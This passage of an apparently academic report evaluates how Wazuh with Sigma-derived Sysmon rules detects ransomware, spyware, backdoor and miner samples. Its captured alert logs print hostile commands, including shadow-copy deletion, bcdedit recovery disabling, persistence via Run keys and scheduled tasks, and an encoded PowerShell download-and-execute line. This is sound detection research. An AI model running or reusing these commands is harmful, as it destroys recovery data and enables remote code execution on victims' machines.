File	MW_15_HIDS_2.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

No alerts with direct relation with the malware

5.2.6. ID_16 Ransomware (Ransom.Cryakl)

Table 54. MW_16 properties

ID	16
Name	Ransom.Cryakl
Firstsubmission	2020-03-02
Type	Win32 EXE
SHA256	0fa979b1f894b44984d8ada55962e73dc48bd01359475e079aab4325503dded4
MD5	23a8bfb5bdbff2f294506019cf2f425f
Virustotal	55/73
Category	Ransomware
Source	VirusBay
Test started	16:18 24/4/2020

NOTE	After 4 mins all documents & programs were encrypted, but this time Wazuh was still running (Due to the folder rights adjustment)

Results

Wazuh

Table 55. MW_16 Wazuh results

File	MW_16_HIDS_2.csv
Highest alert level	7
Malware specific alert	No
Malware detected	No

Wazuh kept this time running but there where no alerts coming from the Sysmon module.

5.2.7. ID_17 Ransomware (Ramsom.Balaclav)

Table 56. MW_17 properties

ID	17
Name	Ramsom.Balaclav
Firstsubmission	2020-03-01
Type	Win32 EXE
SHA256	5de4af86a4410fb6a4c7d54ba4586d35b6abbf2da183fed30ec71547a0a9f319
MD5	7ed4882c2a0d24c401cbce7536ddf792
Virustotal	27/72
Category	Ransomware

Source	VirusBay
Test started	11:56 26/4/2020

Results

Wazuh

Table 57. MW_17 Wazuh results

File	MW_17_HIDS_2.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

Wazuh did not restart after the reboot.

5.2.8. ID_18 Ransomware (Ransom.Ryuk)

Table 58. MW_18 properties

ID	18
Name	Ransom.Ryuk
Firstsubmission	2020-01-14
Type	Win32 EXE
SHA256	f361afd4dd267d6f74f262033b700da652b4da1c0a21e14a8a468f6093d48e31
MD5	3f5da05d62a70eb1212db39d5d6cf45e
Virustotal	55/72
Category	Ransomware
Source	VirusBay

Results

Wazuh

Table 59. MW_18 Wazuh results

File	MW_18_HIDS_2.csv
Highest alert level	12
Malware specific alert	Yes
Malware detected	Yes

The first alert (Level 12ATT&CK T1060: Potential Persistence Method via Startup Folder) was about a suspicious proces soon followed by a alert (Level 12) potential Persistence Method via Startup

Folder.

```
Sysmon - Suspicious Process - explorer.exe
"Process Create:
RuleName:
UtcTime: 2020-04-07 12:15:49.780
ProcessGuid: {df9fc3d3-6ef5-5e8c-0000-0010d1821a00}
ProcessId: 41912
Image: C:\Windows\explorer.exe
FileVersion: 10.0.18362.693 (WinBuild.160101.0800)
Description: Windows Explorer
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: EXPLORER.EXE
CommandLine: explorer.exe /LOADSAVEDWINDOWS
CurrentDirectory: C:\Windows\
User: DESKTOP-HUE026H\John Williams
LogonGuid: {df9fc3d3-6de9-5e8c-0000-0020b0500300}
LogonId: 0x350B0
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes:
MD5=F7DC8A74E30E08B9510380274CFB9288,SHA256=C5E88D778C0B118D49BEF467ED059C09B61DEEA505
D2A3D5CA1DCC0A5CDF752F,IMPHASH=FE6F775DD0C72FFD106F56930C60A452
ParentProcessGuid: {df9fc3d3-6ee1-5e8c-0000-001091d01500}
ParentProcessId: 832
ParentImage: C:\Windows\System32\sihost.exe
ParentCommandLine: sihost.exe"
```

```
ATT&CK T1060: Potential Persistence Method via Startup Folder
"File created:
RuleName: T1023
UtcTime: 2020-04-07 12:16:57.585
ProcessGuid: {df9fc3d3-6ed8-5e8c-0000-001077171500}
ProcessId: 5876
Image: C:\Users\John Williams\Downloads\progam18.exe
TargetFilename: C:\Users\John Williams\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\RyukReadMe.html
CreationUtcTime: 2020-04-07 12:16:57.585"
```

```
ATT&CK T1160: Potential Run Key Persistence Setup
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-04-07 12:21:11.319
ProcessGuid: {df9fc3d3-6de1-5e8c-0000-00104fa30000}
ProcessId: 488
Image: C:\Windows\system32\csrss.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #0
Details: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe  --flag-switches
-begin --flag-switches-end --enable-audio-service-sandbox --restore-last-session"
```

```
ATT&CK T1160: Potential Run Key Persistence Setup
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-04-07 12:21:11.319
ProcessGuid: {df9fc3d3-6de1-5e8c-0000-00104fa30000}
ProcessId: 488
Image: C:\Windows\system32\csrss.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #1
Details: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE /restore"
```

5.2.9. ID_19 Ransomware (Trojan.DOCX)

Table 60. MW_ properties

ID	19
Name	Trojan.DOCX
Firstsubmission	2019-11-19
Type	DOCX
SHA256	6ccb6c2b2c074eea6e1bd9bb7ff2841fdf5466c646780a7644fbd907098f5b27
MD5	1a26c9b6ba40e4e3c3dce12de266ae10
Virustotal	35/62
Category	Ransomware
Source	VirusBay

Results

WARNING	No files were encrypted, seems like malware is not working anymore, this sample will not count in the overall results.

NOTE	A PowerShell window opened after enabling the macro's in the document

Wazuh

Table 61. MW_19 Wazuh results

File	MW_19_HIDS_2.csv
Highest alert level	7
Malware specific alert	No
Malware detected	No

No related alerts

5.2.10. ID_20 Spyware (Trojan.Lucifer)

Table 62. MW_20 properties

ID	20
Name	Trojan.Lucifer
Firstsubmission	2020-03-20
Type	Win32 EXE
SHA256	630efa1e2dc642799b867363bb36d1953884480ac29942a1ab20243a8a9620ad
MD5	66a3124fe4ed45fae20e2bd4ee33c626
Virustotal	51/71
Category	Spyware
Source	ANY RUN

app.any.run

Results

NOTE	File created in C:/Users/John Williams/AppData/Local/Temp/info.txt with content:

```
-------------Created By Lucifer [ https://t.me/th3darkly ]-------------
```

Wazuh

Table 63. MW_20 Wazuh results

File	MW_20_HIDS_2.csv
Highest alert level	9
Malware specific alert	No

Malware detected	No

Startup key was changed:

```
File '[x64] HKEY_USERS\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run' checksum changed.
```

5.3. Summary

Table 64. Summary Second Batch comparing to the first batch

Category:	Total	Wazuh 1.0 Detected	Wazuh 2.0 Detected
Backdoor	2	0	0
Spyware	3	0	0
Ransomware	2	0	1
Cryptominer	1	0	0

6. Third batch

Contrary to expectations, the results of batch 2 were (almost) no better than batch 1. But we analyzed the Sysmon events generated after the execution and the corresponding rules. We founded several critical bugs why no alerts were generated. The first option was to correct these rules and test them again. But we decided we need a more elaborate version of Sysmon rules, so we started writing a script to generate OSSEC / Wazuh rules from Sigma rules (https://github.com/Neo23x0/sigma). The result is that we have written all Windows Sigma rules to the OSSEC format, both the rules and the script are available here.

So for the third batch we will import the rules in Wazuh and test the ten malware samples again.

6.1. Null Test Third batch

Also in the third batch we start with a null test to see which alerts will be generated without the infection of malware.

6.1.1. Results

Wazuh

Table 65. MW_ Wazuh results

File	NULLTEST_HIDS_3.csv
Highest alert level	10
Malware specific alert	No
Malware detected	No

NOTE Only the events relating to the Sysmon component will be discussed, this null test is an extension of the first NUll Test

There were no alerts from Sysmon, there was 1 (not relevant) level 10 alert:

```
Multiple Windows error events:
"Id = {00000000-0000-0000-0000-000000000000}; ClientMachine = DESKTOP-HUE026H; User =
NT AUTHORITY\SYSTEM; ClientProcessId = 4012; Component = Unknown; Operation = Start
IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT
RequiredSecurityProperties FROM Win32_DeviceGuard ; ResultCode = 0x80041032;
PossibleCause = Unknown"
```

6.2. Malware samples tested

6.2.1. ID_1 Cryptominer (Generic.Application.CoinMiner)

Table 66. MW_1 properties

ID	1
Name	Generic.Application.CoinMiner
Firstsubmission	2018-08-28
Type	Win32 EXE
SHA256	46f79c451e652fc4ce7ad5a6f9eb737642077c128e514c889458220ed6985913
MD5	c22908fe460312d76b50129aa3ef2cf2
Virustotal	71/72
Category	Cryptominer
Source	DAS MALWERK

Results

Wazuh

Table 67. MW_1 Wazuh results

File	MW_1_HIDS_3.csv
Highest alert level	14
Malware specific alert	yes
Malware detected	yes

The first alert was triggered by a RUN key set by an image in the Downloads folder, followed by several alerts from process creation of schtasks and cacls and windows services which got stopped.

```
level: 14
ATT&CK T1060: Suspicious RUN Key from Download
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-05-22 13:18:36.991
ProcessGuid: {df9fc3d3-d12b-5ec7-0000-001085131400}
ProcessId: 6980
Image: C:\Users\John Williams\Downloads\appveif.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\appveif
Details: C:\Users\John Williams\Downloads\appveif.exe"
```

Short version of the other alerts (For full alert see the log file)

```
level: 10
ATT&CK: Suspicious Process Creation
CommandLine: cmd /c schtasks /create /sc minute /mo 1 /tn "Miscfost" /ru system /tr
"cmd /c C:\Windows\ime\appveif.exe"
ParentImage: C:\Users\John Williams\Downloads\appveif.exe
```

```
level: 10
ATT&CK: Suspicious Process Creation
CommandLine: cmd /c schtasks /create /sc minute /mo 1 /tn "Netframework" /ru system
/tr "cmd /c echo Y|cacls C:\Users\John Williams\Downloads\appveif.exe  /p everyone:F"
```

```
level: 10
ATT&CK: Suspicious Process Creation
CommandLine: schtasks  /create /sc minute /mo 1 /tn "Flash" /ru system /tr "cmd /c
echo Y|cacls C:\Users\JOHNWI~1\AppData\Local\Temp\Networks\taskmgr.exe  /p everyone:F"
```

```
level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: net  stop SharedAccess
```

```
level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: net  stop LanmanServer
```

```
level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: C:\\Windows\\system32\\net1  stop SharedAccess
```

```
level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: C:\\Windows\\system32\\net1  stop LanmanServer
```

```
level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: net  stop MpsSvc
```

```
level: 10
ATT&CK: Suspicious Process Creation
CommandLine: schtasks  /create /sc minute /mo 1 /tn \"Miscfost\" /ru system /tr \"cmd
/c C:\\Windows\\ime\\appveif.exe\"
```

```
level: 10
ATT&CK: Suspicious Process Creation
CommandLine: schtasks  /create /sc minute /mo 1 /tn \"Netframework\" /ru system /tr
\"cmd /c echo Y|cacls C:\\Users\\John Williams\\Downloads\\appveif.exe  /p
everyone:F\"
```

```
level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: C:\\Windows\\system32\\net1  stop MpsSvc
```

Not relevant alert:

```
level: 10
ATT&CK T1060: Autorun Keys Modification
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-05-22 13:23:17.943
ProcessGuid: {df9fc3d3-d0cd-5ec7-0000-001050a30000}
ProcessId: 488
Image: C:\Windows\system32\csrss.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #0
Details: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe  --flag-switches
-begin --flag-switches-end --enable-audio-service-sandbox --restore-last-session"
```

6.2.2. ID_2 Backdoor (Win32:Malware-gen)

Table 68. MW_2 properties

ID	2
Name	Win32:Malware-gen
Firstsubmission	2020-03-26
Type	Win32 EXE
SHA256	ba07e07a2c279246901b613a26ed95dc37bce9e0a a1ba17d5e812a8e84bda164
MD5	e6a132e279806cc95684dc2bd67a0da0
Virustotal	35/73

Category	Backdoor
Source	VirusBay

Results

NOTE	Malware opens 'Event Viewer' after execution

Wazuh

Table 69. MW_2 Wazuh results

File	MW_2_HIDS_3.csv
Highest alert level	15
Malware specific alert	yes
Malware detected	yes

Following alert was generated regarding a UAC Bypass via Event Viewer:

```
Level: 15
ATT&CK T1088: UAC Bypass via Event Viewer
Image:  C:\\Users\\John Williams\\Downloads\\program2.exe
"Registry value set:
RuleName: T1042
EventType: SetValue
UtcTime: 2020-05-22 13:18:16.616
ProcessGuid: {df9fc3d3-d118-5ec7-0000-00109ec01100}
ProcessId: 6988
Image: C:\Users\John Williams\Downloads\program2.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001_Classes\mscfile\shell\open\command\(Default)
Details: C:\Users\John Williams\Downloads\program2.exe"
```

6.2.3. ID_3 Backdoor (Trojan-Banker.Agent)

Table 70. MW_3 properties

ID	3
Name	Trojan-Banker.Agent
Firstsubmission	2019-12-03
Type	Win32 EXE
SHA256	09ab5a3c9583ed5cf63fc2e4641c7774edfd84127af69faacde4628881cbe157
MD5	aa52c9a86073b75748ec6c98eca17dab
Virustotal	37/68

Category	Backdoor
Source	VirusBay

app.any.run

Results

Wazuh

Table 71. MW_3 Wazuh results

File	MW_3_HIDS_3.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

No alert relating to the malware.

6.2.4. ID_14 Spyware (Spyware.PasswordStealer)

Table 72. MW_14 properties

ID	14
Name	Spyware.PasswordStealer
Firstsubmission	2020-03-10
Type	Win32 EXE
SHA256	f2f275ca7e7d46c5ddd0e59fa845f59ab527cc5284f16c64104d67599ab933c7
MD5	69ad26a3aae3e2950e5a93ccc0cd1859
Virustotal	53/72
Category	Spyware
Source	Virus Share

app.any.run

Results

Wazuh

Table 73. MW_14 Wazuh results

File	MW_14_HIDS_3.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

No alert relating to the malware.

6.2.5. ID_15 Spyware (Trojan.GenKryptik)

Table 74. MW_15 properties

ID	15
Name	Trojan.GenKryptik
Firstsubmission	2020-02-06
Type	Win32 EXE
SHA256	b64774a74e66515fbb11fed9bbba117b391f872d0b7b847acec67a4227de99a0
MD5	9530e5c9e8591d5025e11a20f604520b
Virustotal	55/73
Category	Spyware
Source	Virus Share

app.any.run

Results

Wazuh

Table 75. MW_15 Wazuh results

File	MW_15_HIDS_3.csv
Highest alert level	10
Malware specific alert	No
Malware detected	No

There is no alert relevant to the malware. But there is a RUN key alert generated by chrome, chrome set this registry key at the moment when the machine is powered off but there is still a chrome application open. Chrome (and other browser) should be whitelisted.

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
    "Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-05-22 13:24:11.263
ProcessGuid: {df9fc3d3-d0cd-5ec7-0000-001050a30000}
ProcessId: 488
Image: C:\Windows\system32\csrss.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #0
Details: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe  --flag-switches
-begin --flag-switches-end --enable-audio-service-sandbox --restore-last-session"
```

6.2.6. ID_16 Ransomware (Ransom.Cryakl)

Table 76. MW_16 properties

ID	16
Name	Ransom.Cryakl
Firstsubmission	2020-03-02
Type	Win32 EXE
SHA256	0fa979b1f894b44984d8ada55962e73dc48bd01359475e079aab4325503dded4
MD5	23a8bfb5bdbff2f294506019cf2f425f
Virustotal	55/73
Category	Ransomware
Source	VirusBay

Results

Wazuh

Table 77. MW_16 Wazuh results

File	MW_16_HIDS_3.csv
Highest alert level	15
Malware specific alert	Yes
Malware detected	Yes

At first 2 alerts of a new Run key point to TEMP folder followed by a Maze ransomware alert generated due command `WMIC shadowcopy delete` and image in `\temp\`.

NOTE	It was remarkable that Wazuh did not start up after the reboot.

```
Level: 14
ATT&CK T1060: New RUN Key Pointing to Suspicious Folder
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-05-22 13:19:09.038
ProcessGuid: {df9fc3d3-d147-5ec7-0000-00100b611500}
ProcessId: 3980
Image: C:\Users\JOHNWI~1\AppData\Local\Temp\svcawa.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\76F2C2FB-2630A877
Details: C:\Users\JOHNWI~1\AppData\Local\Temp\svcawa.exe"
```

```
Level: 14
ATT&CK T1060: New RUN Key Pointing to Suspicious Folder
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-05-22 13:19:19.887
ProcessGuid: {df9fc3d3-d152-5ec7-0000-0010dcc91700}
ProcessId: 7132
Image: C:\Users\JOHNWI~1\AppData\Local\Temp\svcawa.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\76F2C2FB-2630A877
Details: C:\Users\JOHNWI~1\AppData\Local\Temp\svcawa.exe"
```

```
Level: 15
ATT&CK T1204: Maze Ransomware
"Process Create:
RuleName:
UtcTime: 2020-05-22 13:19:22.077
ProcessGuid: {df9fc3d3-d15a-5ec7-0000-0010e7fc1800}
ProcessId: 6932
Image: C:\Windows\SysWOW64\wbem\WMIC.exe
FileVersion: 10.0.18362.1 (WinBuild.160101.0800)
Description: WMI Commandline Utility
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: wmic.exe
CommandLine: "C:\Windows\System32\wbem\WMIC.exe" SHADOWCOPY DELETE
CurrentDirectory: C:\Users\John Williams\Downloads\
User: DESKTOP-HUE026H\John Williams
LogonGuid: {df9fc3d3-d0d4-5ec7-0000-0020df010300}
LogonId: 0x301DF
TerminalSessionId: 1
IntegrityLevel: High
Hashes:
MD5=F86F3CA37E51F7A6BD352C3A0471ED1E,SHA256=A6ACB58967159648C84D67B06DC6511A9A83138674
2B4F1F96B0A19AFC8B8037,IMPHASH=C5BFFECCAB78B6F4FD77B28F6F297D84
ParentProcessGuid: {df9fc3d3-d152-5ec7-0000-0010dcc91700}
ParentProcessId: 7132
ParentImage: C:\Users\JOHNWI~1\AppData\Local\Temp\svcawa.exe
ParentCommandLine: "C:\Users\JOHNWI~1\AppData\Local\Temp\svcawa.exe" "runas""
```

6.2.7. ID_17 Ransomware (Ramsom.Balaclav)

Table 78. MW_17 properties

ID	17
Name	Ramsom.Balaclav
Firstsubmission	2020-03-01
Type	Win32 EXE
SHA256	5de4af86a4410fb6a4c7d54ba4586d35b6abbf2da183fed30ec71547a0a9f319
MD5	7ed4882c2a0d24c401cbce7536ddf792
Virustotal	27/72
Category	Ransomware
Source	VirusBay

Results

Wazuh

Table 79. MW_17 Wazuh results

File	MW_17_HIDS_3.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

There is no alert relating to the malware. It seems like the samples encrypts the files an create .txt files, but it does not create RUN key or deletes shadows.

6.2.8. ID_18 Ransomware (Ransom.Ryuk)

Table 80. MW_18 properties

ID	18
Name	Ransom.Ryuk
Firstsubmission	2020-01-14
Type	Win32 EXE
SHA256	f361afd4dd267d6f74f262033b700da652b4da1c0a21e14a8a468f6093d48e31
MD5	3f5da05d62a70eb1212db39d5d6cf45e
Virustotal	55/72
Category	Ransomware
Source	VirusBay

Results

Wazuh

Table 81. MW_18 Wazuh results

File	MW_18_HIDS_3.csv
Highest alert level	15
Malware specific alert	Yes
Malware detected	Yes

The flow of alerts started with 2 Stop Windows Service Alerts, then repeated itself more than 60 times in 10 minutes. After the 2 alerts of level 8 came 3 Ransomware alerts level 15, followed by a level 12 "Suspicious Process explorer.exe" and some RUN key alerts.

```
Level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: C:\Windows\system32\net1 stop "samss" /y
```

```
Level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: C:\Windows\system32\net1 stop "audioendpointbuilder" /y
```

```
Level: 15
ATT&CK: WannaCry Ransomware
CommandLine: icacls \"C:\\*\" /grant Everyone:F /T /C /Q
ParentImage: C:\Users\John Williams\Downloads\sQCMgCG.exe
```

```
Level: 15
ATT&CK T1070 T1490: Shadow Copies Deletion Using Operating Systems Utilities
CommandLine: vssadmin.exe Delete Shadows /all /quiet
ParentImage: C:\Users\John Williams\Downloads\sQCMgCG.exe
```

```
Level: 15
ATT&CK: WannaCry Ransomware
CommandLine: bcdedit /set {default} recoveryenabled No &amp;amp; bcdedit /set {default}
ParentImage: C:\Users\John Williams\Downloads\sQCMgCG.exe
```

```
Level: 12
Sysmon - Suspicious Process - explorer.exe
CommandLine: explorer.exe /LOADSAVEDWINDOWS
ParentImage: C:\Windows\System32\sihost.exe
```

```
Level: 10
ATT&CK T1060: Direct Autorun Keys Modification
CommandLine: REG  ADD
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t
REG_SZ /d "C:\Users\John Williams\Downloads\progam18.exe" /f
```

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
"Registry value set:
Image: C:\Windows\system32\reg.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\svchos
Details: C:\Users\John Williams\Downloads\progam18.exe"
```

```
Level: 10
ATT&CK T1060: Direct Autorun Keys Modification
REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v
\"svchos\" /t REG_SZ /d \"C:\\Users\\John Williams\\Downloads\\sQCMgCG.exe\" /f----
```

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
"Registry value set:
Image: C:\Windows\system32\reg.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\svchos
Details: C:\Users\John Williams\Downloads\sQCMgCG.exe"
```

6.2.9. ID_19 Ransomware (Trojan.DOCX)

Table 82. MW_ properties

ID	19
Name	Trojan.DOCX
Firstsubmission	2019-11-19
Type	DOCX
SHA256	6ccb6c2b2c074eea6e1bd9bb7ff2841fdf5466c646780a7644fbd907098f5b27
MD5	1a26c9b6ba40e4e3c3dce12de266ae10
Virustotal	35/62
Category	Ransomware
Source	VirusBay

Results

WARNING	No files were encrypted, seems like malware is not working anymore.
NOTE	A PowerShell window opened after enabling the macro's in the document

Wazuh

Table 83. MW_19 Wazuh results

File	MW_19_HIDS_3.csv
Highest alert level	15
Malware specific alert	Yes
Malware detected	Yes

Despite the 'ransomware' is not working anymore, nothing gets encrypted, this time 2 alerts has been generated detecting the powershell spawning from the Word document after enabling the macros.

```
Level: 15
ATT&CK T1047: Wmiprvse Spawning Process
CommandLine: powershell -windowstyle hidden -en
SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABTAHQAYQByAH
QALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIABoAHQAdABwADoALwAvAHMAaABv
AHcAMgAuAHcAZQBiAHMAaQB0AGUALwBnAGUAWgBqAFMALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8Adw
AyAC4AdwBlAGIAcwBpAHQAZQAvAG4ATQBiAGQALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8AdwAyAC4A
dwBlAGIAcwBpAHQAZQAvAGEAYwBQAE0AUQAuAGQAYQB0ACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAiAC
QAZQBuAHYAOgBUAEUATQBQAFwAdABrAG8AbABkAC4AYwBvAG0AIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXAB4
AHQAZAA0ADIAIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAUABNAFEALgBjAG8AbQAiADsAIABTAGUAdA
AtAEwAbwBjAGEAdABpAG8AbgAgAC0AUABhAHQAaAAgACIAJABlAG4AdgA6AFQARQBNAFAAIgA7ACAAYwBlAHIA
dAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAHgAdABkADQAMgAgAHkAMgA5AHgAMwA7ACAAIABTAHQAYQByAH
QALQBQAHIAbwBjAGUAcwBzACAAdABrAG8AbABkACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAHkAMgA5
AHgAMwA=
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe
```

```
Level: 14
ATT&CK T1064: Windows Shell Spawning Suspicious Program
CommandLine: "C:\Windows\system32\certutil.exe" -decode xtd42 y29x3
Image: C:\Windows\System32\certutil.exe
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: powershell -windowstyle hidden -en
SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABTAHQAYQByAH
QALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIABoAHQAdABwADoALwAvAHMAaABv
AHcAMgAuAHcAZQBiAHMAaQB0AGUALwBnAGUAWgBqAFMALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8Adw
AyAC4AdwBlAGIAcwBpAHQAZQAvAG4ATQBiAGQALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8AdwAyAC4A
dwBlAGIAcwBpAHQAZQAvAGEAYwBQAE0AUQAuAGQAYQB0ACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAiAC
QAZQBuAHYAOgBUAEUATQBQAFwAdABrAG8AbABkAC4AYwBvAG0AIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXAB4
AHQAZAA0ADIAIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAUABNAFEALgBjAG8AbQAiADsAIABTAGUAdA
AtAEwAbwBjAGEAdABpAG8AbgAgAC0AUABhAHQAaAAgACIAJABlAG4AdgA6AFQARQBNAFAAIgA7ACAAYwBlAHIA
dAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAHgAdABkADQAMgAgAHkAMgA5AHgAMwA7ACAAIABTAHQAYQByAH
QALQBQAHIAbwBjAGUAcwBzACAAdABrAG8AbABkACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAHkAMgA5
AHgAMwA="
```

6.2.10. ID_20 Spyware (Trojan.Lucifer)

Table 84. MW_20 properties

ID	20
Name	Trojan.Lucifer
Firstsubmission	2020-03-20
Type	Win32 EXE
SHA256	630efa1e2dc642799b867363bb36d1953884480ac29942a1ab20243a8a9620ad
MD5	66a3124fe4ed45fae20e2bd4ee33c626
Virustotal	51/71
Category	Spyware
Source	ANY RUN

app.any.run

Results

NOTE File created in C:/Users/John Williams/AppData/Local/Temp/info.txt with content:

```
-------------Created By Lucifer [ https://t.me/th3darkly ]-------------
```

Wazuh

Table 85. MW_20 Wazuh results

File	MW_20_HIDS_3.csv
Highest alert level	14
Malware specific alert	Yes
Malware detected	Yes

The execution of this sample only generated 3 (2 before reboot) RUN key alerts. But because the first one is from the \download\ directory and the second one is pointing to an image in the \temp\ folder are they both level 14. So the malware is detected.

```
Level: 14
ATT&CK T1060: Suspicious RUN Key from Download
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
Image: C:\Users\John Williams\Downloads\program20.jpg.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\hetsm.exe
Details: C:\Users\John Williams\Downloads\program20.jpg.exe"
```

```
Level: 14
ATT&CK T1060: New RUN Key Pointing to Suspicious Folder
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
Image: C:\Users\JOHNWI~1\AppData\Local\Temp\FB_B1D7.tmp.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\Windows Defender Updater
Details: C:\Users\JOHNWI~1\AppData\Local\Temp\cc3a68ce1dad95ce662e1c51f1568e3a.exe /
start"
```

After reboot:

```
Level: 14
ATT&CK T1060: Suspicious RUN Key from Download
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
Image: C:\Users\John Williams\Downloads\program20.jpg.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\hetsm.exe
Details: C:\Users\John Williams\Downloads\program20.jpg.exe"
```

6.2.11. ID_21 Adware (Adware.Linkvertise)

Table 86. MW_21 properties

ID	21
Name	Adware.Linkvertise
Firstsubmission	2020-04-06
Type	Win32 EXE
SHA256	422ea9cb2110591c932a58f32c8672aba1b08d3dd3e1d53c1edba0101b79174e
MD5	25fcd5a2cc5590630ab8d971e82b70cb

Virustotal	13/72
Category	Adware
Source	ANY RUN

app.any.run

Results

Wazuh

Table 87. MW_21 Wazuh results

File	MW_21_HIDS_3.csv
Highest alert level	12
Malware specific alert	No
Malware detected	No

There was only 1 alert, detecting a suspicious explorer.exe (not parentimage userinit.exe). Not enough to mark the malware as detected.

```
Level: 12
Sysmon - Suspicious Process - explorer.exe
"Process Create:
Image: C:\Windows\explorer.exe
FileVersion: 10.0.18362.693 (WinBuild.160101.0800)
Description: Windows Explorer
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: EXPLORER.EXE
CommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b}
-Embedding
CurrentDirectory: C:\Windows\system32\
ParentImage: C:\Windows\System32\svchost.exe
ParentCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p"
```

6.2.12. ID_22 Rootkit (Rootkit.Bandios)

Table 88. MW_21 properties

ID	22
Name	Rootkit.Bandios
Firstsubmission	2018-03-23
Type	Win32 EXE
SHA256	59c662a5207c6806046205348b22ee45da3f685fe022556716dbbd6643e61834

MD5	4b042bfd9c11ab6a3fb78fa5c34f55d0
Virustotal	52/71
Category	Rootkit
Source	ANY RUN

Results

